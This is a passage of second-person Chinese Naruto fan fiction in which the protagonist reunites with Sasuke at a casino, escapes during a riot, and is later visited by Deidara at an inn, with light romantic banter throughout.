你凝望着佐助的面容,他低垂眉眼的神态在某些角度和他的哥哥宇智波鼬有几分相似,但你也不会因此迁怒他,你反而对他招招手,就和以前一样,站在学校门口对他招招手,然后年幼的孩子就如同小鸟飞到你的怀里。 只不过此刻的他已经成长为美丽的白鸟,但依旧不改原来的习惯,飞进你的怀里。 小小的单人沙发挤进两个人不算太宽敞,甚至还有点拥挤,但你对待他格外宽容,他侧过头,耳朵贴着胸膛,在听你的心跳声。 是很真切的心跳声,所以是真的。 他再次见到了你…… 人在巨大的喜悦面前大脑都会变得一片空白,此刻的佐助已经被喜悦淹没,过了很久,他觉得自己应该说点什么,他抬起头,头发有些刺扎,他说:“你为什么会来赌场?” “噢,就是觉得好玩所以来了。”你没说自己是来黑吃黑的,嗯,对一个小孩说这些不太合适。 佐助不太买账地皱起眉,他的眉毛也很秀气,蹙起的样子和他的母亲美琴有五六分像,他说:“……算了。”他怎么可能没听出来你这是在敷衍他呢?但是……他觉得没必要揪着这个不放,毕竟他能够再次见到你就已经是莫大的幸福了。 嗯?居然就这么算了吗?要是放在以前他可是会一个劲地问下去的呀,看来他也是有所成长的,在性格方面也变得成熟了许多。 他安静地看着你,你从黑白分明的眼眸里看出十足的喜欢。 喜欢是难以掩藏的东西,就算嘴上不说,那喜欢也会从眼睛里跑出来,被他这样注视着的你有些好笑地捏了一下他的脸颊,说:“一直盯着我做什么?” “我想多看看你,因为我知道我们日后还会分开的,而且我也不会像哥哥那样执着于把你带回木叶。”佐助一字一顿地说,“因为其实木叶也不是你的家对吗?” 啊……这还真是让你感到意外啊,你挑起一边的眉,说:“让我猜猜看,你说的是真话还是假话。” “当然是真话啊。”话语间佐助的双手撑着担任沙发的扶手,支起自己的上半身,他闷闷地 说,“你在怀疑我。” 这也不能怪你啊,谁让有他哥哥这个前车之鉴呢?要怪就怪他哥把路给走窄了。 “不,我只是很好奇佐助你为什么会那么说,毕竟你以前可是很赞同你哥哥的做法的呀。” 这话听起来像是在挑拨他们兄弟之间的关系,你笑了下,期待着他的回答。 “那是以前的事情,我们哪怕是亲兄弟也会在同一件事情上面产生分歧的啊。”说着,佐助郁闷地问道:“现在明希你还会想念哥哥吗?” 说不上想念,就是每次在遇到来投怀送抱的莺莺燕燕都得认真思考一下到时候怎么脱身。 唉,宇智波鼬看看你干的好事。 你沉默了有一会,伸手揉了揉少年的头发,没有你想象的那么顺滑,没办法,他是个炸毛,头发不可能像他哥那样柔顺光滑,这也算是宇智波鼬为数不多的优点了。 “是吗……我还以为佐助你会怨恨我的呢。” 毕竟你果断抛弃宇智波鼬跑路的行为很容易被他哥曲解为你抛弃了他们所有人,而佐助一直和鼬生活在一起也极易受到对方的影响。 佐助想要钻进你的怀里,就和小时候一样,但现在他的身量比你还要高一些,最后就变成他依偎着你的身影,他说:“我一开始还有些怪怨哥哥,觉得是他是不争气没能留住你。” …… 等一下。 他知道自己在说什么吗? 你还以为是自己的耳朵出了什么问题。 佐助刚才在说他哥哥不争气没能留住你是吗? 你用双手托起他的脸颊,左看看右看看,最后说:“你真的是宇智波佐助吗?” 佯装生气地用鼻尖顶了一下你的手掌心,“如假包换。” “但你刚才在说你的哥哥不争气。” “是啊。”他很爽快地应了一声,“他只考虑到自己的感受,认为你们应该结婚,所以就自作主张地准备婚礼,但我现在明白了,婚姻对于明希来说就是枷锁吧?” 他明白的东西还挺多。 “而且,我以前总觉得我和明希你是家人,但是,对于明希你来说,生活在宇智波的十几年更像是寄人篱下。”说到这里,他深吸一口气,“所以,我也有做的不对的地方,我都忽略了明希内心的感受。” 你怎么感觉……自己在他心里好像变成了十多年寄人篱下的可怜鬼啊,他硬生生地往你身上叠加了好几层可怜兮兮的滤镜,搞得你好像很凄惨的样子。 他所说的寄人篱下,说实话你一点感觉都没有,毕竟那些年你都在忙着开店,每天忙得要命,而且还得要应付周围的追求者,所以压根就不像佐助说的那样每天都沉浸在哀伤中,你每天都在算钱倒是真的。 “而且以前的我还很任性,总是向你索求关注,我直到现在才意识到自己那个时候有多幼稚。”他肯定给你添了很多麻烦,而你呢,你还能不厌其烦地温和对待他。 此时此刻的你总算是了解到一点,那就是哪怕佐助平日里表现得再怎么正常,但他骨子里也是个宇智波,极具发散性思维的宇智波。 拥有与生俱来阅读理解能力天赋的宇智波。 要是继续放任他往下说你就要变得和那个住在楼梯间的碧眼孤儿有的一拼了,你急忙打住,说:“我想你似乎想多了。” 佐助紧抿着嘴唇,表情倔强,他固执地认为自己当初忽略你的感受是自己的过错,在你这里微不足道的小事在他看来就是罪大恶极。 你拍拍他的肩膀示意他站起来,他虽然有点不情不愿,但还是站起身,不过小拇指仍旧勾着你的小指。 动作是那样藕断丝连。 “明希,你在生气吗?”他又问。 你把那本植物图鉴放在一边,招呼他先去洗漱然后再吃点东西,他虽然粘人但也还算听话,你说什么他就做什么。 在他走到浴室里以后白也端着早餐回来,看到客厅沙发上没了人影,就知道佐助已经醒过来了,浴室里传来淅沥沥的水声,他将托盘放在客厅的桌子上,又说:“他已经醒来了,情况如何?” “身体应该恢复了。”就是精神有点错乱,但这属于家族遗传病,很难医治。 白应了一声,说:“目前卡多还没有解除警戒模式,现在出入赌场都会仔细检查一番。”这是他在取早餐的途中收集到的情报。 那还能怎么办呢,最危险的地方就是最安全的地方,你就大大方方地在这里住着,白吃白喝,等走的时候还能连吃带拿地打包一些东西。 没错,你对待竞争对手的态度就是这样。 你的心态放得很平,毕竟在此之前你已经见过许多大风大浪了,对这个世界的黑暗面也了解许多。 后来你又和白聊了几句,聊到一半只听见浴室门咔哒一声,佐助穿着浴袍走了出来,湿漉漉的头发还在滴水,平日里炸毛的头发被水打湿以后看上去倒是柔顺许多,他看了看白,对他没什么印象,但能够观察出你们之间的关系很亲密。 他直接就问:“你是谁?” 白说:“我是明希的助理。” 助理……?听上去倒是很正经的样子,但是谁家助理会用这种含情脉脉的眼神注视着自己的上司啊? 因此佐助不太相信白的说辞,他说:“你也是忍者?” “是啊,没有谁规定忍者就不能成为其他人的助理吧?啊对了,我除了是明希工作上的助理而且也是生活上的助理。” 生活上的助理?佐助的内心骤然产生几分危机感。 所谓的生活助理,留给人想象的空间就很大了,按捺住心里的不安,他尽可能让自己显得云淡风轻一些,他说:“我以前没听明希提起过你。” “但我倒是经常听明希说起你。”白的回答不咸不淡,这实在是让佐助摸不清楚白到底是什么态度,而你也在这时开口,说:“先吃早餐吧。” 用过早餐以后佐助又去查看任务对象的情况,经过一晚上的休息稍微恢复了一点,但还在昏迷状态,毕竟任务对象只是个普通人,体质肯定是没办法和身为忍者的佐助相比的。 佐助又问你:“明希你是为了掩护我才留下来的吗?”这么说来好像有点自作多情,但如果不是因为这个的话你现在大可以离开赌场的,所以……思来想去就只有这个可能了。 和佐助相处就没必要说些弯弯绕绕的,毕竟佐助也是有话直说的性格,这一点很好,比起谜语人来真是好太多了。 “姑且算是吧。”你说。 你眼角的余光扫到佐助的唇角微微上扬,他偷笑了一下,在你看过来的时候也没有马上收起自己的笑容,还是笑盈盈地望向你,就像是又回到了从前。 白天你都没怎么出去过,正好可以利用这段时间处理酒之国的事情,佐助一直待在你身边,你也不介意他看你的文件,他扫到酒之国的字眼,就说:“我在来的路上途经一个茶馆的时候就听里面的人提起了明希你。” 嗯?茶馆里的人么?你略带疑惑,“是么。”说这话的时候你头都没抬一下,毕竟伴随着你的势力范围的扩大,受到你影响的人也越来越多,所以有人在背后议论你也是理所当然的,你也不会把那些人的议论放在心上。 “是啊,我原本打算在这次任务结束以后就去酒之国的,但是没想到在这里就遇见了明希你。” 他们忍者还真是高能量啊,居然能在完成任务以后再长途奔波地去找你,换做你是绝对做不到的。 “那还真巧啊。”你回答得都很漫不经心,佐助也察觉到了,你那有些敷衍的态度,他只是稍微有点不满而已,倒也不会对你生气,他抿了抿嘴唇,说:“明希你现在很忙吗?你在离开木叶以后都做了什么呢?” 如果要好 好回答他的问题那可就有的说了,你在离开木叶以后在外面的世界大展拳脚,现在俨然是一个优秀的黑心资本家了,你说:“这过程中发生了很多事情,一时半会也和你说不清,而且,我现在正在忙。” 白端着咖啡走进书房,动作熟练地给你端咖啡,然后又给你整理文件,你们偶尔还会低声交流一番。 那气氛平静而和谐,外人都无法插足,就算是他也无法介入,他只能眼睁睁地看着你们有说有笑,自己就像是个局外人。 白在临走前瞥了佐助一眼,说:“佐助君,刚才你的任务对象好像不太舒服,你要过来看看吗?” 这只是个借口而已,任务对象确实有些不舒服,但在查看后就会发现这仅仅是个小问题,还有别的大问题在等着佐助。 佐助说:“你特意把我叫过来又是为了什么?” “没什么,只是不想让你打扰明希而已,既然你无法帮到她那至少不要给她添麻烦。” 白说得一针见血,是的,他好像一直再给你添麻烦,佐助隐隐有些内疚,他说:“我很抱歉。” 是他说得太尖锐了吗,白不得不仔细观察佐助,发现他好像和之前来纠缠你的宇智波有所不同,最大的不同大概就是他比较好沟通,而且不会动不动就开始自说自话。 白也不是对谁都那么咄咄逼人的,他本来的性格也还算温和,他说:“这话应该我说才对,我刚才说得太直接了,请你原谅我,但这都是因为在此之前有些人对明希纠缠不清,所以我那么做也只是出于谨慎起见。” 佐助的注意力被白所说的“有些人”吸引,有些人指的又是谁呢? 佐助说:“那些人又是谁?” “这个问题恕我不能回答你,因为这是明希的个人隐私,未经她的允许我无权告诉你。”白用公事公办的语气回答佐助。 好吧,碰了壁的佐助也不生气,他说:“那你之前说的明希提起过我又是几个意思?” “就是字面意思,明希不讨厌你,嗯……应该可以说是喜欢的。” 尽管这份喜欢对于白来说或许是他这辈子都难以企及的程度,但他还是用平静的口吻回答佐助。 听着听着,佐助的视线越过白看向书房的门,他刚才离开的时候还把书房的门给关上了,这下子就不能看见你了。 但是没关系,等时间来到晚上,睡不着觉的他找到同样在熬夜的你,区别在于前者是因为烦闷而睡不着,后者则是主动熬夜的。 听见敲门声的时候你不怎么惊讶,因为一起在木叶的是时候佐助晚上偶尔也会来敲你的门,而你也会打开门,询问他怎么了,这次也是。 你打开门,站在门外的佐助裹着睡袍,衣领有些宽松,那锁骨在衣领下若隐若现,你还能嗅闻到他身上淡淡的沐浴剂残香,他说:“我有些睡不着。” “我有安眠药。” 佐助与你四目相对,看到你的笑眼就知道你是在开玩笑,他也跟着笑了起来,说:“但我不想吃安眠药。” 行吧,他的要求还挺多的,反正你现在也不怎么困,因为你午后睡了一会,而且白给你泡的咖啡浓度太高,以至于你现在还精神得很,所以你说:“那你想要做什么呢?” 佐助顿了顿,他想……他想要和你说说话,只是听你的声音就好,只是见到你就好,他想要的就是这么简单。 “我想听你的声音。”他闷闷地,含糊不清地说。 你依靠着门框,卧室里只亮着一盏床头灯,灯光暖黄,佐助忽然在想,当初的哥哥也是这样敲开你的房门,然后被你接纳的吗? 他被自己忽然冒出来的想法给吓了一跳,为什么会这么想呢?他抿了抿唇,说:“所以可以吗?” 所以说他大晚上的敲开你的门,然后说只是想要听一听你的声音,要是换成其他人你可以笃定对方就是在胡扯,但说这话的人是佐助,是很少会说谎的佐助,因此你可以肯定他说的大概是真心话。 “你睡不着吗?”你问道。 “嗯……稍微有点,应该没有打扰到你休息吧?”他是在确认你也还没睡的情况下才敲响你的房门的,如果你已经睡下了他是绝对不可能来打扰你的。 “没有。”你又说,“你是要一直站在门口吗?” 听你的意思是允许他进入你的房间吗?他与你对视一眼,或许是在床头灯光的映衬下显得你的眼眸温柔如水,他说:“……那我可以进来吗?” “可以。”许久不见他怎么变得那么小心翼翼了呢?这让你都有点不适应了。 将房门又打开一些,佐助安静地走到你的房间里,白今晚负责守夜,佐助瞥见白的外衫就放在你的床头,他收回视线,仿佛看到了什么不该看的东西,现在的佐助已经不像当初那样对两性之间的事情一知半解,他已经了解了很多。 所以,你和那个名叫白的少年的关系不是简单的上司和下属吧? 他问道:“白只是明希你的助理吗?” “嗯,偶尔也会陪我入睡。”你轻描淡写地说。 就是这样轻飘飘的一句话,在少年心里掀起风浪,可他还得要装出一副平静的模样,他说:“那我不可以吗?” “不可以啊,你还是小孩子啊。”你回答得干脆利落,根本不就给他留一丁点的余地,佐助说:“我会好好长大的。” 你“噢”了一声,像是在敷衍小孩子似的说:“那我相信你可以做到的。” “那到时候我也可以陪你入眠吗?”佐助对此还很耿耿于怀,你颇为好笑地说:“你在毛遂自荐啊?” 佐助移开视线,“是啊,我学得很快,不会让你失望的。” 语气是那么认真,但脸颊都已经烧起来了,你朝他靠近一步。 嗅闻到了属于你的香气,萦绕在他的鼻尖,他说:“所以……可以吗?” “那就等到以后再说吧,嗯,我身边毛遂自荐的人有点多。”上一个这么推销自己的人还是止水,他们宇智波在木叶可是出了名的高冷,怎么现在看来一个比一个的主动呢? “今晚本来也是他陪你吗?”佐助没有指名道姓,但想想也知道他指的是白,你说:“没有啊,他要负责守夜,而且我呢也有点睡不着。” 话语间你坐在床铺上,背靠着床头,继续看书,这画面就好像回到了从前,回到你还在木叶的时候。 佐助安静地坐在床沿,一点一点地向你靠近,像是在试探你的底线,你有些看不下去了,把书合起来,对他招招手,此时他的动作又变得很灵敏地把自己的影子挤进你的怀里,只是静静地依偎着,这样就好,这样就能让他十分满足。 “除了哥哥,止水也在找你,所以明希你要小心一点。”佐助突然那么提醒你。 只可惜他的提醒还是晚了一步,因为你早就已经遇到了止水,但好在止水也还算听话,没有给你添麻烦,甚至现在还在给你打白工呢,所以你觉得暂时和止水保持接触也不是一件坏事,至少是利大于弊的。 你心不在焉地回答:“我会留意的。” 有些炸毛的头发紧紧地挨着你,床头灯光映照出的你们的身影交叠在一起,佐助轻声询问你在离开木叶以后都遇到了什么,“明希不想说也没关系。” 他只是想要了解那些自己不曾见过的,关于你的故事。 话题兜兜转转还是绕回到了这个问题上吗?也行吧,反正现在你也毫无睡意,那不妨和他好好说一说,你说:“大概就是去当没良心的商人了吧。” “不,明希不可能是没良心的商人。”佐助说得笃定,“就算你真的做了什么,那一定是被逼无奈才那么做的。” 你是真的有点好奇自己在佐助心里到底是怎样的形象了,你还什么都没说呢,他就自然地站在了你这边,已经开始为你说话了。 “佐助好像把我想得太好了,我的内心也会有恶的一面的啊。” 话语间你侧过头,你柔顺光滑的长发滑入他的衣领,触感凉凉的,像是绸缎,又像是伪装后的细蛇,他抬起头,这个时候应该怎么做呢? 口口声声说着自己已经不是小孩子的人在这种事情面前还是一片空白,就像是干净的,还 未曾被涂鸦过的白纸。 恋人之间用亲吻表达爱意,但他看过的书里从来没有明确地说过哪些场景适合亲吻,那些恋爱小说里只会说主角对视许久然后就亲到了一块去,所以过程呢?为什么会亲在一起呢? 要他说,这些书籍都太不严谨了,摆明了不想让人学到有用的知识。 充足的理论知识在你的注视下骤然消失,他的大脑一片空白,所能做的也只是看着你,有些笨拙地,青涩地看向你。 然后就被戳了一下额头。 欸? 他错愕地睁大眼睛,捂住自己的额头,为什么……为什么啊?你怎么把他哥哥的习惯也给学了去? 他那不知所措的样子极大地取悦了你,你轻笑一声,佐助闷闷地勾住你的手指,“这个时候,刚才不应该是……亲吻吗?” 语调滑过“亲吻”的时候变得很轻盈,他甚至没办法做到清晰地说出口。 “你又是从哪里得出的结论?” 佐助抿着嘴唇,他的五官都长得漂亮精致,就连因为郁闷而紧抿着的嘴唇也是漂亮的,他说:“我从……我就是从书上看到的。” 噢,他们兄弟俩都很喜欢提前做功课啊,他的哥哥也是,但都说了理论知识和实践是完全不同的两回事。 “是恋爱小说吗?啊……没想到佐助你还看言情小说呀?”你像是抓住了佐助的把柄,“真想不到啊。” 佐助把脑袋转到另外一边,没隔两秒就又忍不住用余光看你,你还在笑盈盈地瞧他。 因为羞赧,又因为少年的心事被你戳破,总之,又羞又恼的他口不择言,“因为如果是明希的话……肯定应该把自己最好的一面,最好的状态让明希享用吧?” 嗯? 这也是他看小说学来的吗?算了,这个世界那么混乱你也不指望存在什么文化分级制度了,你出于好意地提醒一句,“你以后还是少看一些杂七杂八的书吧。” 但佐助好像逆反心理上来了,说:“那不是杂七杂八的书。” “那你是从哪里找到的这些书?”所以到底是谁给他推荐的这些书啊? “从哥哥的书房找到的。” 哦,破案了,原来是宇智波鼬的书单啊,那没事了。 不对,也不是完全没事,你说:“你哥哥看的书不一定适合你。” “但当初哥哥不就是凭借着这些书服务明希的吗?” “没有啊,真麻烦,你哥哥还得要我手把手教才行呢。”你说出了大实话,不过他哥确实学得很快,和宇智波带土一比就是典型的优等生。 佐助握住你的手,手指挤进你的指缝里,“那明希也可以教我。” 你没有马上回答,几秒过后你关掉床头灯,屋内顿时陷入一片漆黑,你和佐助的对话也戛然而止,你说:“时间不早了,休息吧。” 你闭上眼睛,但还是能够感受到佐助安静地注视着你的侧脸,你无奈地叹了一口气,说:“你一直这么盯着我睡不着。” 佐助从善如流地闭上眼睛,从入睡前到醒来时他都一直握着你的手。 忍者的生物钟都很准时,不像你,熬了夜隔天就会晚一些醒来。 他醒得肯定比你早,因为你睁开眼睛的时候他的双眼正一眨不眨地看着你。 意料之中的事情,带土也会这样,他们宇智波就是喜欢盯着别人看,习惯就好。 “早上好啊。”你说着,撑着上半身坐起来,而后趿拉着拖鞋去浴室洗漱。 今天屋外的天气不错,而且还有个好消息那就是赌场的警戒模式解除了,这个消息还是白带回来的,他说:“这样一来明希我们应该也可以走了吧?” 捕捉到关键词的佐助凑了过来,悄无声息地留意你们这里的一举一动,然后说:“明希,你要走了吗?” 你抹去下巴上的水珠,说:“是啊,就要走了,我们后会有期吧。” 佐助垂在身侧的手收拢后又松开,既然你都说了这句话,那就说明他和你日后肯定还能再见面的,所以这次的离别也不应该太悲伤,理智告诉他分别是在所难免的,你还有自己的事情要做,你在外面的世界有属于自己的事业,这也是你的梦想,他不应该,也不能央求你回到木叶。 只是偶尔回来看看应该是可以的吧? 他说:“那明希你以后还会回木叶吗?我是说到木叶旅游的意思。” “这个嘛……也许会的吧。”毕竟你还想着建立一个忍者接单的线上平台呢,所以你迟早会回木叶一趟,就是他的哥哥有些难对付,算了,到时候你也不用担心这些。 佐助朝你走来,忐忑不安地说:“那我会期待和明希你的下一次见面的。” 就在你要应声的时候屋外忽然传来一阵骚动,你皱起眉,不是说警戒模式已经解除了吗?白当即赶到门口透过猫眼往外看,他说:“外面的情况好像很混乱。” 他透过猫眼看见走廊上都是逃跑的人群,楼下的动静更大,因为一时间跑动的人太多以至于你们脚下的地板都在震动。 你让佐助保护虚弱的任务对象,自己则是走到白身边,原本你们这次来赌场就是为了摸清楚酒之国那一批掺杂了成瘾性葡萄酒的去向的。 现在突然出现的暴动让你想起自己当初在搜刮酒之国的地下实验室时找到的文件,其中就有提到这些植物提取物还会存在一些副作用,最糟糕的副作用就是让使用者丧失理智,你觉得现在屋外的暴乱就是上一批葡萄酒造成的。 不过这样也好,反倒是给你们制造了一个脱身的好机会,错过这个机会估计之后赌场的进出都会受到严格地检查,于是你抓住这次机会,你回过头,对站在客厅的佐助说:“那么,下次再见吧。” 佐助想问的,他想问问你,你所说的下次究竟是什么时候呢?但此刻的情况太混乱,他都来不及问这些,你就已经戴上帽子走出房间,混入乱糟糟的人群里,一眨眼的功夫他就找不到你的身影了。 只是停顿了一秒,佐助就想起自己还有任务在身,他也带着恢复意识的任务对象离开这里。 你将自己的身影融入白的怀里,他穿过人群的缝隙来到赌场外,没有任何犹豫,直接离开这个是非之地。 怎么说呢,这次踩点虽然中间发生了一点小插曲,但总的来说你也收集到了自己想要的信息,所以也不算是白来一趟,更何况你这两天还在赌场里蹭吃蹭喝都没有花钱,这样一想你的心情就更加愉悦。 等你们来到赌城外,远离这个混乱中心后白才逐渐放慢速度,如果赶路速度太快的话他担心你的身体会不舒服。 刚才着急逃跑你都没有吃早餐,白比你本人还要在乎你的一日三餐,因此他突然“啊”了一声,你还以为是出什么事了呢,就问:“怎么了?”他该不会是有什么东西落在那里了吧? 白不会犯这种低级错误,他说:“明希你都还没有吃早餐呢。” 什么啊,这又不是什么大事,但看他那副严肃的模样,你说:“反正我现在也不饿。” 白带你来到玉之国的某个偏僻小镇,找到一家茶馆借用人家的厨房给你煮了一碗粥,你捧着青菜瘦肉粥坐在店门口耐心地等粥变凉,这个偏僻的小镇还不知道远方的都城都发生了什么吧,这里还是一副岁月静好的景象。 你舀起一勺瘦肉 粥,白说:“经过这次的突发事件后大概下次卡多会把赌场的安保系统升级的吧。” “是吗,那不是更加有挑战性了?”你喝了一口粥,还能笑得出来,现在看来卡多大概率是试图利用这些加了料的葡萄酒控制赌场的客人,难怪他会是那个卖家的最大客户,而且因为那批货没有及时送到更是急得不行。 白看着你喝了一大半的瘦肉粥,然后你又伸了个懒腰,说:“让我看看接下来应该怎么做呢……” 你在离开酒之国之前就已经想好了,照着买家名单把已经销往世界各地的葡萄酒都找出来销毁。 “这样可能会有点麻烦,而且,这件事情吃力不讨好,那些只顾蝇头小利的商人是无法理解明希你的良苦用心的。”白在为你感到不值,他始终觉得这个世界配不上你的善良,哪怕你已经为那些身处困境的人做了那么多的事情,可还是会有人背地里议论你,甚至是造谣,说你是黑心的商人。 一想到这些言论白就觉得生气,在他看来如果你都算黑心的话那么这个世界上就不存在真正的好人了。 你整理一下自己的头发,“我做事情只是因为我想做而已,我不需要别人来理解我啊。”作为活了两次的人,你已经能够成熟应对这种事情了,也就是压根不把其他人的看法放在心上。 也不知道白是怎么想的,你看到他蹙眉,总觉得他估计又往你身上套了好几层滤镜,接触过佐助以后你算是发现了他们一旦给你添加滤镜就一发不可收。 哪怕你随便做些什么,他们都能给你找到合适的理由来解释。 这已经不是给你找个台阶下了,是直接给你往台阶上铺红毯让你舒舒服服地走下来的程度了。 白也是,你知道你在他心目中简直就是完美无缺的存在。 言归正传,目前这个情况你们不适宜在玉之国久留,但不巧的是早上还在放晴的天空一到中午就变了脸,一下子就从晴天变成了阴天,而且还是那种整片天空都被阴沉沉的乌云笼罩的阴天。 雨天赶路在你看来就是很命苦的行为,你说:“算了,还是等雨停了再启程吧。” 这一等就直接等到了晚上,这期间雨水就没怎么听过,甚至到后头雨势还越来越大,这下子是彻底没法走了,你和白收拾收拾去附近的旅馆入住,你们也没得选,因为这个偏僻小镇就只有一个旅馆。 当然了,偏僻也有偏僻的好处,至少你们不用担心房源紧张的问题,你订了这里最好的房间,也花不了多少钱,付过钱以后店主把门钥匙交给你们,你踩着上了年纪的楼梯往上走,走到二楼,最中间的房间就是你订的那一间了。 用钥匙打开门,啊……这果然没办法和赌场里的套房相比较啊,算了,勉强凑合一晚上吧。 睡到后半夜的时候你被屋外的雷声吵得朦朦胧胧地醒过来,半梦半醒之间你好像看见窗外矗立着一道身影,白的反应速度比你快许多,他立刻赶到窗口,透过窗户,看见了被大雨淋湿的迪达拉。 “真倒霉,我飞到这里的时候就突然开始下雨了,然后我就有种不太好的预感,总觉得在这里会遇到你。”迪达拉很自来熟地推开窗户,想要直接进来的,但是被白给拦住了,白说:“等一下。” 然后从柜子找出一条浴巾丢给迪达拉让他把身上的水珠擦一擦然后再进屋,迪达拉虽然有些不耐烦,但还是照做了,擦得身上不再滴滴答答地滴水,他这才被允许进入屋内,你也算是彻底醒来,你说:“你怎么会在这里?” “因为任务,但不是你给的任务,是晓组织的任务所以我不能告诉你,嗯!”迪达拉一口气说了好几个任务就像是在说绕口令,他那一头金发被打湿以后就变成一缕一缕的,样子有些狼狈,他拉过一旁的椅子坐下,是反过来坐下的,手肘抵着椅背,说:“你来这里又是来做什么的?” “秘密。” 迪达拉轻轻地“切”了一声,说:“你现在玩什么神秘啊,我都知道了,赌场那里突然变得那么乱肯定是你造成的对不对?” 什么啊,他怎么把你想的那么坏心眼啊? 你说:“没有,我真的只是路过,而且我们能够相遇或许就是命运的安排吧,嗯!” 一听你又开始学他的口癖,迪达拉就错开视线,说:“什么命运不命运的,要是真的有命运这种东西的话,那我会遇见你只能说明我很倒霉。” 你看着迪达拉身上已经湿透了的衣服,说:“要不然你还是先换一套衣服吧,然后再好好照照镜子看一看你现在的样子有多狼狈。” 什么,他现在的样子真的很糟糕吗?在此之前都没怎么在意过自己外表的迪达拉因为你的一句话就跑到浴室去照镜子,然后又换了一身白送过去的衣服,这才算看得过去一些。 迪达拉从浴室里出来的时候嘴里还在嘀咕个不停,说:“哪有和人聊天到一半就让对方去照照镜子的。” 话是这么说的,他换好衣服站在你面前,干巴巴地问道:“现在你总算是满意了吧?” “一般般吧吗,要是换成别人半夜被人吵醒也不会满意到哪里去的。” 迪达拉显然是没什么边界感的人,在你看来他们晓组织的成员多多少少都有些缺少社会化,所以有的时候做出的事情反而很孩子气。 不过缺少社会化不是免死金牌,你其实还是有点生气的,你说:“你说我应该怎么惩罚你打搅我睡觉呢?” 迪达拉视线飘忽不定,他说:“随便你,别以为你这样就能吓到我。” 他可不是那种很容易就会被吓到的人,而且只不过是惩罚而已,又能可怕到哪里去呢? 第38章 迪达拉还在看着你,注视着你,他的眼里甚至还带着点自己都没有意识到的期待,在他的注视下你叹息一口气,只能说他们忍者都不怎么正常,性格就跟开盲盒似的,你说:“但我现在还要休息,你最好不要打扰我。” “这就是你说的惩罚吗?”迪达拉撇撇嘴。 你揉了揉自己的太阳穴,问道:“那你又在期待什么呢?” 像是被说中了心事,迪达拉说话都结巴了,他说:“什么啊,什么期待……我才没有呢。” 但愿他是真的一点期待都没有吧,你想,然后关掉床头灯,继续睡觉。 你去睡觉了,只剩下还醒着的迪达拉和白面面相觑,白说:“刚才明希应该已经说得足够清楚了吧?” “我的耳朵又没有出问题,不需要你再提醒我。”迪达拉没好气地说,这态度和与你对话时截然不同。 白没有因为他那么明显的态度转变而生气,他只是点头,“你知道就好。” 反倒是他这语气让迪达拉有些恼怒。 搞什么啊……别以为他总是守在你身边就有多了不起似的,他现在,嗯……他现在也算是你的合作伙伴啊,虽然你都没有承认过这一层关系,但是,他都替你做了那么多事情了,难道还不能算是合作伙伴吗? 迪达拉站起身,气势汹汹地朝着门外走去,然后轻轻地关上门,都没发出什么动静,这样一来应该也不会吵到你,嗯,他这是看在你的份上才这么做的。 睡足八个小时的你醒来的时候神清气爽,就连起床气都不存在,心情愉悦,你伸了个懒腰,走下床,看到那张椅子就想起昨天晚上突然造访的迪达拉,此时的屋外天空放晴,你在想迪达拉或许就跟着那场雨水一同离开了。 下一秒,你的房间门被人敲了几下,敲门的肯定不是白,因为敲门的习惯都不太一样。 好吧,原来他没有跟着雨水一块离开啊,你朝着门口看去,迪达拉手里端着托盘,托盘里装着你的早餐,他说:“你可真能睡,居然睡到了现在。” “白呢?”你问道。 迪达拉把托盘往桌子上一放,说:“给你准备早餐的人是我,你看到的人也是我,怎么一开口就先问他啊?” “噢,谢谢你做的早餐,那么白呢?”你敷衍地感谢他,接着就又问起白去哪里了。 “我就知道你还是那么气人。”迪达拉低头碎碎念,他说 :“那家伙在帮着其他人砍柴,他倒是喜欢帮助别人,哼,真是多此一举。” 听他这么说,你顺着窗户看去,你订的房间窗户正对出去就是后院,你看见了在院子里砍柴的白。 “迪达拉这么说就好像故事里的恶毒反派啊。”你在桌子旁边坐下,迪达拉睁大眼睛,他双手叉腰,身上还穿着一套红白格子的围裙,气鼓鼓地说:“真正恶毒的反派会给你做早餐?” 他较真了,“你就是这样……一说话就惹人生气。” 但在下一秒你就对他招招手,态度还是那么随意,可即便如此他也没办法对你生气,因为你就是这样的人,你说:“一起来吃早餐吗?” “我吃过了。” “在生气?我很感谢你为我做的一切,早上能够吃到热乎乎的早餐对我来说是非常幸福的事情。”你咬了一口面包片,行吧,味道勉强能吃,主要是不能浪费粮食,你耐着性子吃这份不算可口的早餐。 刚才还差点要生气的迪达拉现在的心情都平静想下来了,他问好吃吗?你说差强人意吧,他的眉毛都拧巴到一块去了,说:“那就是不好吃咯,说得那么文绉绉做什么啊?” “我觉得还有很大的进步空间。”你不会把话说得太绝对,总得要留一点余地的。 迪达拉的脾气来得快走得也快,一会的功夫就忘了自己还在生气,他单手托腮,注视着你的侧影,柔顺的黑发披散在肩头,你垂下眼帘专心致志地进食,早晨的阳光朦胧而美好,这令他的内心莫名产生了些许只有在爆.炸时才会荡起的涟漪。 曾经他以为只能通过追寻艺术才能得到的幸福与激动的心情,却莫名其妙地此刻冒了出来。 第一反应就是被吓到了。 哈,怎么可能啊……下意识地就想要否认,绝对不可能啊,他甚至狠狠地掐了一下自己的脸颊,试图通过疼痛让自己清醒过来。 快点醒一醒吧,居然会觉得和你这样黑心的家伙待在一块是幸福的,他绝对是脑袋出问题了吧。 他掐自己脸颊的力道真不小,因为等你一抬头就看见他一边的脸颊红彤彤的,不像是普通的脸红,更像是掐出来的,你奇怪地问:“你的脸怎么了?” “没什么,不关你的事。”迪达拉干巴巴地说。 你也没多管闲事,噢了一声就当做没看见了。 吃过早餐,你就要换衣服,睡衣虽然穿着舒坦,但出门还是得要换一身衣服才行,你从行李里取出便服,见迪达拉没有要走的意思,你说:“你要留在这里替我换衣服吗?” 迪达拉被吓了一条,就跟有谁踩着他的尾巴似的,说话语无伦次,“什、什么啊——我才没有替你换衣服的义务呢!你把我当成什么人了啊?是那种召之即来挥之即去的人么?哈,我就知道你不是什么好人!” 你只是说了一句话而已,他的反应为什么这么激烈啊?你说:“那你可以先离开了。” 不用你说他也会离开的,迪达拉没好气地走出房间,当然,手里还拿着托盘。 给你换衣服什么的,难道是因为你身边的白经常替你那么做,所以你也觉得他该服侍你吗? 迪达拉的脑袋里盘旋着好多问题,他决定了,等下就问问你,你和他现在到底是什么关系,不是普通的询问,而是质问,没错,要拿出自己的气势来。 等你换好衣服,迪达拉又折返回来,一见到你就说:“所以我们现在是什么关系?” 听到他这么问的你缓缓打出一个问号,好端端地怎么突然这么问? 替旅馆主人劈了柴的白回到房间替你整理衣领,你微微抬起头方便他抚平你的衣领,而后对迪达拉说:“这很重要吗?” 